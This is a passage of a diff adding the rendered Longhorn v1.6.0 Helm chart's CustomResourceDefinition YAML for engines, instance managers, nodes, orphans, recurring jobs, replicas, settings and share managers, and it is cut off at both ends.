"" + name: engines.longhorn.io +spec: + group: longhorn.io + names: + kind: Engine + listKind: EngineList + plural: engines + shortNames: + - lhe + singular: engine + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The current state of the engine + jsonPath: .status.currentState + name: State + type: string + - description: The node that the engine is on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The instance manager of the engine + jsonPath: .status.instanceManagerName + name: InstanceManager + type: string + - description: The current image of the engine + jsonPath: .status.currentImage + name: Image + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: Engine is where Longhorn stores engine object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The data engine of the engine + jsonPath: .spec.dataEngine + name: Data Engine + type: string + - description: The current state of the engine + jsonPath: .status.currentState + name: State + type: string + - description: The node that the engine is on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The instance manager of the engine + jsonPath: .status.instanceManagerName + name: InstanceManager + type: string + - description: The current image of the engine + jsonPath: .status.currentImage + name: Image + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: Engine is where Longhorn stores engine object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: EngineSpec defines the desired state of the Longhorn engine + properties: + active: + type: boolean + backendStoreDriver: + description: 'Deprecated: Replaced by field `dataEngine`.' + type: string + backupVolume: + type: string + dataEngine: + enum: + - v1 + - v2 + type: string + desireState: + type: string + disableFrontend: + type: boolean + engineImage: + description: 'Deprecated: Replaced by field `image`.' + type: string + frontend: + enum: + - blockdev + - iscsi + - nvmf + - "" + type: string + image: + type: string + logRequested: + type: boolean + nodeID: + type: string + replicaAddressMap: + additionalProperties: + type: string + type: object + requestedBackupRestore: + type: string + requestedDataSource: + type: string + revisionCounterDisabled: + type: boolean + salvageRequested: + type: boolean + snapshotMaxCount: + type: integer + snapshotMaxSize: + format: int64 + type: string + unmapMarkSnapChainRemovedEnabled: + type: boolean + upgradedReplicaAddressMap: + additionalProperties: + type: string + type: object + volumeName: + type: string + volumeSize: + format: int64 + type: string + type: object + status: + description: EngineStatus defines the observed state of the Longhorn engine + properties: + backupStatus: + additionalProperties: + properties: + backupURL: + type: string + error: + type: string + progress: + type: integer + replicaAddress: + type: string + snapshotName: + type: string + state: + type: string + type: object + nullable: true + type: object + cloneStatus: + additionalProperties: + properties: + error: + type: string + fromReplicaAddress: + type: string + isCloning: + type: boolean + progress: + type: integer + snapshotName: + type: string + state: + type: string + type: object + nullable: true + type: object + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + currentImage: + type: string + currentReplicaAddressMap: + additionalProperties: + type: string + nullable: true + type: object + currentSize: + format: int64 + type: string + currentState: + type: string + endpoint: + type: string + instanceManagerName: + type: string + ip: + type: string + isExpanding: + type: boolean + lastExpansionError: + type: string + lastExpansionFailedAt: + type: string + lastRestoredBackup: + type: string + logFetched: + type: boolean + ownerID: + type: string + port: + type: integer + purgeStatus: + additionalProperties: + properties: + error: + type: string + isPurging: + type: boolean + progress: + type: integer + state: + type: string + type: object + nullable: true + type: object + rebuildStatus: + additionalProperties: + properties: + error: + type: string + fromReplicaAddress: + type: string + isRebuilding: + type: boolean + progress: + type: integer + state: + type: string + type: object + nullable: true + type: object + replicaModeMap: + additionalProperties: + type: string + nullable: true + type: object + restoreStatus: + additionalProperties: + properties: + backupURL: + type: string + currentRestoringBackup: + type: string + error: + type: string + filename: + type: string + isRestoring: + type: boolean + lastRestored: + type: string + progress: + type: integer + state: + type: string + type: object + nullable: true + type: object + salvageExecuted: + type: boolean + snapshotMaxCount: + type: integer + snapshotMaxSize: + format: int64 + type: string + snapshots: + additionalProperties: + properties: + children: + additionalProperties: + type: boolean + nullable: true + type: object + created: + type: string + labels: + additionalProperties: + type: string + nullable: true + type: object + name: + type: string + parent: + type: string + removed: + type: boolean + size: + type: string + usercreated: + type: boolean + type: object + nullable: true + type: object + snapshotsError: + type: string + started: + type: boolean + storageIP: + type: string + unmapMarkSnapChainRemovedEnabled: + type: boolean + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: instancemanagers.longhorn.io +spec: + group: longhorn.io + names: + kind: InstanceManager + listKind: InstanceManagerList + plural: instancemanagers + shortNames: + - lhim + singular: instancemanager + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The state of the instance manager + jsonPath: .status.currentState + name: State + type: string + - description: The type of the instance manager (engine or replica) + jsonPath: .spec.type + name: Type + type: string + - description: The node that the instance manager is running on + jsonPath: .spec.nodeID + name: Node + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: InstanceManager is where Longhorn stores instance manager object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The data engine of the instance manager + jsonPath: .spec.dataEngine + name: Data Engine + type: string + - description: The state of the instance manager + jsonPath: .status.currentState + name: State + type: string + - description: The type of the instance manager (engine or replica) + jsonPath: .spec.type + name: Type + type: string + - description: The node that the instance manager is running on + jsonPath: .spec.nodeID + name: Node + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: InstanceManager is where Longhorn stores instance manager object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: InstanceManagerSpec defines the desired state of the Longhorn instance manager + properties: + dataEngine: + type: string + image: + type: string + nodeID: + type: string + type: + enum: + - aio + - engine + - replica + type: string + type: object + status: + description: InstanceManagerStatus defines the observed state of the Longhorn instance manager + properties: + apiMinVersion: + type: integer + apiVersion: + type: integer + proxyApiMinVersion: + type: integer + proxyApiVersion: + type: integer + currentState: + type: string + instanceEngines: + additionalProperties: + properties: + spec: + properties: + backendStoreDriver: + description: 'Deprecated: Replaced by field `dataEngine`.' + type: string + dataEngine: + type: string + name: + type: string + type: object + status: + properties: + conditions: + additionalProperties: + type: boolean + type: object + endpoint: + type: string + errorMsg: + type: string + listen: + type: string + portEnd: + format: int32 + type: integer + portStart: + format: int32 + type: integer + resourceVersion: + format: int64 + type: integer + state: + type: string + type: + type: string + type: object + type: object + nullable: true + type: object + instanceReplicas: + additionalProperties: + properties: + spec: + properties: + backendStoreDriver: + description: 'Deprecated: Replaced by field `dataEngine`.' + type: string + dataEngine: + type: string + name: + type: string + type: object + status: + properties: + conditions: + additionalProperties: + type: boolean + type: object + endpoint: + type: string + errorMsg: + type: string + listen: + type: string + portEnd: + format: int32 + type: integer + portStart: + format: int32 + type: integer + resourceVersion: + format: int64 + type: integer + state: + type: string + type: + type: string + type: object + type: object + nullable: true + type: object + instances: + additionalProperties: + properties: + spec: + properties: + backendStoreDriver: + description: 'Deprecated: Replaced by field `dataEngine`.' + type: string + dataEngine: + type: string + name: + type: string + type: object + status: + properties: + conditions: + additionalProperties: + type: boolean + type: object + endpoint: + type: string + errorMsg: + type: string + listen: + type: string + portEnd: + format: int32 + type: integer + portStart: + format: int32 + type: integer + resourceVersion: + format: int64 + type: integer + state: + type: string + type: + type: string + type: object + type: object + nullable: true + description: 'Deprecated: Replaced by InstanceEngines and InstanceReplicas' + type: object + ip: + type: string + ownerID: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: nodes.longhorn.io +spec: + preserveUnknownFields: false + conversion: + strategy: Webhook + webhook: + clientConfig: + service: + name: longhorn-conversion-webhook + namespace: longhorn-system + path: /v1/webhook/conversion + port: 9501 + conversionReviewVersions: + - v1beta2 + - v1beta1 + group: longhorn.io + names: + kind: Node + listKind: NodeList + plural: nodes + shortNames: + - lhn + singular: node + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: Indicate whether the node is ready + jsonPath: .status.conditions['Ready']['status'] + name: Ready + type: string + - description: Indicate whether the user disabled/enabled replica scheduling for the node + jsonPath: .spec.allowScheduling + name: AllowScheduling + type: boolean + - description: Indicate whether Longhorn can schedule replicas on the node + jsonPath: .status.conditions['Schedulable']['status'] + name: Schedulable + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: Node is where Longhorn stores Longhorn node object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: Indicate whether the node is ready + jsonPath: .status.conditions[?(@.type=='Ready')].status + name: Ready + type: string + - description: Indicate whether the user disabled/enabled replica scheduling for the node + jsonPath: .spec.allowScheduling + name: AllowScheduling + type: boolean + - description: Indicate whether Longhorn can schedule replicas on the node + jsonPath: .status.conditions[?(@.type=='Schedulable')].status + name: Schedulable + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: Node is where Longhorn stores Longhorn node object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: NodeSpec defines the desired state of the Longhorn node + properties: + allowScheduling: + description: Allow scheduling replicas on the node. + type: boolean + disks: + additionalProperties: + properties: + allowScheduling: + type: boolean + diskType: + enum: + - filesystem + - block + type: string + evictionRequested: + type: boolean + path: + type: string + storageReserved: + format: int64 + type: integer + tags: + items: + type: string + type: array + type: object + type: object + evictionRequested: + type: boolean + instanceManagerCPURequest: + type: integer + name: + type: string + tags: + items: + type: string + type: array + type: object + status: + description: NodeStatus defines the observed state of the Longhorn node + properties: + autoEvicting: + type: boolean + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + diskStatus: + additionalProperties: + properties: + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + diskType: + type: string + diskUUID: + type: string + filesystemType: + type: string + scheduledReplica: + additionalProperties: + format: int64 + type: integer + nullable: true + type: object + storageAvailable: + format: int64 + type: integer + storageMaximum: + format: int64 + type: integer + storageScheduled: + format: int64 + type: integer + type: object + description: The status of the disks on the node. + nullable: true + type: object + region: + description: The Region of the node. + type: string + snapshotCheckStatus: + description: The status of the snapshot integrity check. + properties: + lastPeriodicCheckedAt: + format: date-time + type: string + type: object + zone: + description: The Zone of the node. + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: orphans.longhorn.io +spec: + group: longhorn.io + names: + kind: Orphan + listKind: OrphanList + plural: orphans + shortNames: + - lho + singular: orphan + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The type of the orphan + jsonPath: .spec.orphanType + name: Type + type: string + - description: The node that the orphan is on + jsonPath: .spec.nodeID + name: Node + type: string + name: v1beta2 + schema: + openAPIV3Schema: + description: Orphan is where Longhorn stores orphan object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: OrphanSpec defines the desired state of the Longhorn orphaned data + properties: + nodeID: + description: The node ID on which the controller is responsible to reconcile this orphan CR. + type: string + orphanType: + description: The type of the orphaned data. Can be "replica". + type: string + parameters: + additionalProperties: + type: string + description: The parameters of the orphaned data + type: object + type: object + status: + description: OrphanStatus defines the observed state of the Longhorn orphaned data + properties: + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + ownerID: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + longhorn-manager: "" + name: recurringjobs.longhorn.io +spec: + group: longhorn.io + names: + kind: RecurringJob + listKind: RecurringJobList + plural: recurringjobs + shortNames: + - lhrj + singular: recurringjob + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: Sets groupings to the jobs. When set to "default" group will be added to the volume label when no other job label exist in volume + jsonPath: .spec.groups + name: Groups + type: string + - description: Should be one of "backup" or "snapshot" + jsonPath: .spec.task + name: Task + type: string + - description: The cron expression represents recurring job scheduling + jsonPath: .spec.cron + name: Cron + type: string + - description: The number of snapshots/backups to keep for the volume + jsonPath: .spec.retain + name: Retain + type: integer + - description: The concurrent job to run by each cron job + jsonPath: .spec.concurrency + name: Concurrency + type: integer + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + - description: Specify the labels + jsonPath: .spec.labels + name: Labels + type: string + name: v1beta1 + schema: + openAPIV3Schema: + description: RecurringJob is where Longhorn stores recurring job object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: Sets groupings to the jobs. When set to "default" group will be added to the volume label when no other job label exist in volume + jsonPath: .spec.groups + name: Groups + type: string + - description: Should be one of "snapshot", "snapshot-force-create", "snapshot-cleanup", "snapshot-delete", "backup", "backup-force-create" or "filesystem-trim" + jsonPath: .spec.task + name: Task + type: string + - description: The cron expression represents recurring job scheduling + jsonPath: .spec.cron + name: Cron + type: string + - description: The number of snapshots/backups to keep for the volume + jsonPath: .spec.retain + name: Retain + type: integer + - description: The concurrent job to run by each cron job + jsonPath: .spec.concurrency + name: Concurrency + type: integer + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + - description: Specify the labels + jsonPath: .spec.labels + name: Labels + type: string + name: v1beta2 + schema: + openAPIV3Schema: + description: RecurringJob is where Longhorn stores recurring job object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: RecurringJobSpec defines the desired state of the Longhorn recurring job + properties: + concurrency: + description: The concurrency of taking the snapshot/backup. + type: integer + cron: + description: The cron setting. + type: string + groups: + description: The recurring job group. + items: + type: string + type: array + labels: + additionalProperties: + type: string + description: The label of the snapshot/backup. + type: object + name: + description: The recurring job name. + type: string + retain: + description: The retain count of the snapshot/backup. + type: integer + task: + description: The recurring job task. Can be "snapshot", "snapshot-force-create", "snapshot-cleanup", "snapshot-delete", "backup", "backup-force-create" or "filesystem-trim" + enum: + - snapshot + - snapshot-force-create + - snapshot-cleanup + - snapshot-delete + - backup + - backup-force-create + - filesystem-trim + type: string + type: object + status: + description: RecurringJobStatus defines the observed state of the Longhorn recurring job + properties: + ownerID: + description: The owner ID which is responsible to reconcile this recurring job CR. + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: replicas.longhorn.io +spec: + group: longhorn.io + names: + kind: Replica + listKind: ReplicaList + plural: replicas + shortNames: + - lhr + singular: replica + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The current state of the replica + jsonPath: .status.currentState + name: State + type: string + - description: The node that the replica is on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The disk that the replica is on + jsonPath: .spec.diskID + name: Disk + type: string + - description: The instance manager of the replica + jsonPath: .status.instanceManagerName + name: InstanceManager + type: string + - description: The current image of the replica + jsonPath: .status.currentImage + name: Image + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: Replica is where Longhorn stores replica object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The data engine of the replica + jsonPath: .spec.dataEngine + name: Data Engine + type: string + - description: The current state of the replica + jsonPath: .status.currentState + name: State + type: string + - description: The node that the replica is on + jsonPath: .spec.nodeID + name: Node + type: string + - description: The disk that the replica is on + jsonPath: .spec.diskID + name: Disk + type: string + - description: The instance manager of the replica + jsonPath: .status.instanceManagerName + name: InstanceManager + type: string + - description: The current image of the replica + jsonPath: .status.currentImage + name: Image + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: Replica is where Longhorn stores replica object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: ReplicaSpec defines the desired state of the Longhorn replica + properties: + active: + type: boolean + backendStoreDriver: + description: 'Deprecated: Replaced by field `dataEngine`.' + type: string + backingImage: + type: string + dataDirectoryName: + type: string + dataEngine: + enum: + - v1 + - v2 + type: string + desireState: + type: string + diskID: + type: string + diskPath: + type: string + engineImage: + description: 'Deprecated: Replaced by field `image`.' + type: string + engineName: + type: string + evictionRequested: + type: boolean + failedAt: + type: string + hardNodeAffinity: + type: string + healthyAt: + type: string + image: + type: string + logRequested: + type: boolean + nodeID: + type: string + rebuildRetryCount: + type: integer + revisionCounterDisabled: + type: boolean + salvageRequested: + type: boolean + snapshotMaxCount: + type: integer + snapshotMaxSize: + format: int64 + type: string + unmapMarkDiskChainRemovedEnabled: + type: boolean + volumeName: + type: string + volumeSize: + format: int64 + type: string + type: object + status: + description: ReplicaStatus defines the observed state of the Longhorn replica + properties: + conditions: + items: + properties: + lastProbeTime: + description: Last time we probed the condition. + type: string + lastTransitionTime: + description: Last time the condition transitioned from one status to another. + type: string + message: + description: Human-readable message indicating details about last transition. + type: string + reason: + description: Unique, one-word, CamelCase reason for the condition's last transition. + type: string + status: + description: Status is the status of the condition. Can be True, False, Unknown. + type: string + type: + description: Type is the type of the condition. + type: string + type: object + nullable: true + type: array + currentImage: + type: string + currentState: + type: string + evictionRequested: + description: 'Deprecated: Replaced by field `spec.evictionRequested`.' + type: boolean + instanceManagerName: + type: string + ip: + type: string + logFetched: + type: boolean + ownerID: + type: string + port: + type: integer + salvageExecuted: + type: boolean + started: + type: boolean + storageIP: + type: string + type: object + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: settings.longhorn.io +spec: + group: longhorn.io + names: + kind: Setting + listKind: SettingList + plural: settings + shortNames: + - lhs + singular: setting + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The value of the setting + jsonPath: .value + name: Value + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: Setting is where Longhorn stores setting object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + value: + type: string + required: + - value + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The value of the setting + jsonPath: .value + name: Value + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: Setting is where Longhorn stores setting object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + value: + description: The value of the setting. + type: string + required: + - value + type: object + served: true + storage: true + subresources: + status: {} +status: + acceptedNames: + kind: "" + plural: "" + conditions: [] + storedVersions: [] +--- +# Source: longhorn/templates/crds.yaml +apiVersion: apiextensions.k8s.io/v1 +kind: CustomResourceDefinition +metadata: + annotations: + controller-gen.kubebuilder.io/version: v0.7.0 + creationTimestamp: null + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + longhorn-manager: "" + name: sharemanagers.longhorn.io +spec: + group: longhorn.io + names: + kind: ShareManager + listKind: ShareManagerList + plural: sharemanagers + shortNames: + - lhsm + singular: sharemanager + scope: Namespaced + versions: + - additionalPrinterColumns: + - description: The state of the share manager + jsonPath: .status.state + name: State + type: string + - description: The node that the share manager is owned by + jsonPath: .status.ownerID + name: Node + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta1 + schema: + openAPIV3Schema: + description: ShareManager is where Longhorn stores share manager object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + x-kubernetes-preserve-unknown-fields: true + status: + x-kubernetes-preserve-unknown-fields: true + type: object + served: true + storage: false + subresources: + status: {} + - additionalPrinterColumns: + - description: The state of the share manager + jsonPath: .status.state + name: State + type: string + - description: The node that the share manager is owned by + jsonPath: .status.ownerID + name: Node + type: string + - jsonPath: .metadata.creationTimestamp + name: Age + type: date + name: v1beta2 + schema: + openAPIV3Schema: + description: ShareManager is where Longhorn stores share manager object. + properties: + apiVersion: + description: 'APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources' + type: string + kind: + description: 'Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds' + type: string + metadata: + type: object + spec: + description: ShareManagerSpec defines the desired state of the Longhorn share manager + properties: + image: + description: Share manager image 